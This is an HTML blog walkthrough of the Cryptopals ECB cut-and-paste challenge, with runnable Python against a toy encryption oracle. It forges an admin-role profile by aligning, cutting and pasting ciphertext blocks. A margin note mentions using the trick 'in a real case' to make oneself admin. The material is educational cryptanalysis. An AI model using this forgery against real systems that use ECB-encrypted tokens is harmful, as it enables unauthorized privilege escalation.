&lt;p&gt;Welcome to the &lt;a href="https://cryptopals.com/sets/2/challenges/13"&gt;ECB cut-and-paste&lt;/a&gt; challenge!&lt;!--more--&gt;&lt;/p&gt;
&lt;h3 id="prelude-profile-request"&gt;Prelude: profile request&lt;/h3&gt;
&lt;p&gt;Imagen a scenario where two parties send encrypted messages using AES in ECB mode.&lt;/p&gt;
&lt;!--
&gt;&gt;&gt; import sys
&gt;&gt;&gt; sys.path.append("./posts/matasano/assets")
&gt;&gt;&gt; from challenge import generate_config, enc_ecb, dec_ecb  # byexample: +timeout=10

&gt;&gt;&gt; seed = 20180701   # make the tests 'random' but deterministic
&gt;&gt;&gt; block_size = 16     # leave this fixed, it is what happen in practice

&gt;&gt;&gt; # encrypt/decrypt under this 'random' environment
&gt;&gt;&gt; cfg = generate_config(random_state=seed, block_size=block_size, enc_mode='ecb')
--&gt;
&lt;p&gt;Consider the following function that builds a ciphertext from an hypothetical &lt;em&gt;“create profile for a new user”&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;                &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;profile_request_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;amp;&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;=&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;@&amp;#39;&lt;/span&gt;     &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;email=&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;&amp;amp;uid=10&amp;amp;role=user&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;enc_ecb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;profile_request_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;honest-email@example.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;\&lt;span class="n"&gt;xc1&lt;/span&gt;\&lt;span class="n"&gt;xa4&lt;/span&gt;\&lt;span class="n"&gt;x89&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;profile_request_for&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; can create as many user as we want but all of them will have the same privilege level or role: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The adversary (us) can call this function as many times as he/she wants but it cannot neither change it (like disabling the checks) nor peak the secret key.&lt;/p&gt;
&lt;h3 id="prelude-profile-creation"&gt;Prelude: profile creation&lt;/h3&gt;
&lt;p&gt;Then the ciphertext can be sent to a server where the given credentials are stored and the profile is &lt;em&gt;“created”&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;urllib.parse&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;parse_qs&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create_profile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypted_request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dec_ecb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypted_request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;parse_qs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strict_parsing&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;create_profile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;email&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;honest-email@example.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;role&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;uid&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;10&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="forgery-naive-try"&gt;Forgery (naive try)&lt;/h2&gt;
&lt;p&gt;It would be cool to forge &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;role&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;em&gt;with an injection there&lt;/em&gt; but it is not possible.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;profile_request_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;dishonest@evil.com&amp;amp;role=admin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;AssertionError&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Let’s forge &lt;strong&gt;anyways&lt;/strong&gt; with &lt;a href="https://pypi.org/project/cryptonita/"&gt;cryptonita&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="forgery-as-crypto-pro"&gt;Forgery (as crypto pro)&lt;/h2&gt;
&lt;h3 id="block-alignment"&gt;Block alignment&lt;/h3&gt;
&lt;p&gt;In principle our partial plaintext is inserted at some &lt;em&gt;fixed but unknown&lt;/em&gt; position.&lt;/p&gt;
&lt;p&gt;The first step is to know where.&lt;/p&gt;
&lt;p&gt;The key insight is that if we insert 2 full and aligned blocks we will get 2 identical ciphertext blocks.&lt;/p&gt;
&lt;p&gt;So we insert these and slowly add one extra byte at time until we get the two identical ciphertext blocks.&lt;/p&gt;
&lt;p&gt;The alignment required was exactly the amount of extra bytes inserted.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;alignment&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;profile_request_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;@&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;alignment&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;indexes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nblocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iduplicates&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;distance&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idx_of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;both&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;indexes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;break&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;alignment&lt;/span&gt;
&lt;span class="mi"&gt;10&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;iduplicates&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; gives us the index of the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; of the duplicated blocks, marking the &lt;em&gt;end&lt;/em&gt; of the needed padding:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;indexes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Of course we could cheat a little!&lt;/em&gt; If the &lt;em&gt;prefix is known&lt;/em&gt;, we just do the maths:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;email=&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;10&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="crafting-the-email"&gt;Crafting the email&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;profile_request_for&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;em&gt;will encrypt for us anything&lt;/em&gt;, as long as the email is a “valid email”.&lt;/p&gt;
&lt;p&gt;We can prepare specially crafted one:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;align_pad&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;A&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;alignment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;posfix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;@evil.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;crafted_email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;align_pad&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;posfix&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;crafted_email&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;A&amp;lt;...&amp;gt;AAAadmin&lt;/span&gt;&lt;span class="se"&gt;\x0b\x0b\x0b&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;padding&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\x0b&lt;/span&gt;&lt;span class="s1"&gt;@evil.com&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;align_pad&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; ensures that what follows (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s2"&gt;&amp;quot;admin&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) is &lt;em&gt;at the begin&lt;/em&gt; of a block.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a full block with the string &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s2"&gt;&amp;quot;admin&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and a padding &lt;strong&gt;as if&lt;/strong&gt; it were at the end of the plaintext (which it is not).&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;posfix&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; just completes the crafting so the whole looks an email address.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 60%;" class='' align='middle' data='/img/matasano/cut_and_paste_align_before_cut.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="cut-the-block"&gt;Cut the block&lt;/h3&gt;
&lt;p&gt;Now we encrypt the crafted profile. The trick is that &lt;strong&gt;we know&lt;/strong&gt; that a full block will be the encryption of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s2"&gt;&amp;quot;admin&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;strong&gt;we know&lt;/strong&gt; exactly where.&lt;/p&gt;
&lt;p&gt;This is because EBC encrypts all the blocks in the same way, no matter where they are.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;profile_request_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;crafted_email&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cut&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nblocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="n"&gt;indexes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 60%;" class='' align='middle' data='/img/matasano/cut_and_paste_align_cutting.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="paste-the-block"&gt;Paste the block&lt;/h3&gt;
&lt;p&gt;Now, the final step.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkluIGEgcmVhbCBjYXNlIHlvdSB3aWxsIGFsc28gbWFrZSB5b3VyIHRoYXQgdGhlIGVtYWlsIGlzIGEgdmFsaWQgb25lOgp0aGUgd2hvbGUgdGhpbmcgaXMgYWJvdXQgZ2V0dGluZyAqeW91KiBhbiBhZG1pbi4KCklmIHlvdSBjYW5ub3QgbG9naW4gbGF0ZXIsIGl0IHdvdWxkIGJlIHBvaW50bGVzcy4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkluIGEgcmVhbCBjYXNlIHlvdSB3aWxsIGFsc28gbWFrZSB5b3VyIHRoYXQgdGhlIGVtYWlsIGlzIGEgdmFsaWQgb25lOgp0aGUgd2hvbGUgdGhpbmcgaXMgYWJvdXQgZ2V0dGluZyAqeW91KiBhbiBhZG1pbi4KCklmIHlvdSBjYW5ub3QgbG9naW4gbGF0ZXIsIGl0IHdvdWxkIGJlIHBvaW50bGVzcy4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
In a real case you will also make your that the email is a valid one: the whole thing is about getting &lt;em&gt;you&lt;/em&gt; an admin.
&lt;br /&gt;&lt;br /&gt;
If you cannot login later, it would be pointless.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We craft another email but this time the goal is to align the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;role&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; plaintext &lt;em&gt;at the end&lt;/em&gt; of the block.&lt;/p&gt;
&lt;p&gt;In other words, what follows &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;role&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; must be at the begin of the next block.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 90%;" class='' align='middle' data='/img/matasano/cut_and_paste_align_cutting2.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Then we &lt;em&gt;paste the block&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;In its replacement we will put our crafted cipher block.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;profile_request_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;me-AAAAAAAAAAAAAAAAA@evil.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;forged&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mutable&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;forged&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cut&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 90%;" class='' align='middle' data='/img/matasano/cut_and_paste_align_pasting.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;How many &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we need to add will depend: I tried several times using &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;create_profile&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as oracle until I got the payload aligned such the last &lt;em&gt;boundary&lt;/em&gt; matched and no error was throw.&lt;/p&gt;
&lt;h2 id="forge"&gt;Forge!&lt;/h2&gt;
&lt;p&gt;Voila!, the plaintext is recovered by the server, the padding removed and we get a admin profile.&lt;/p&gt;
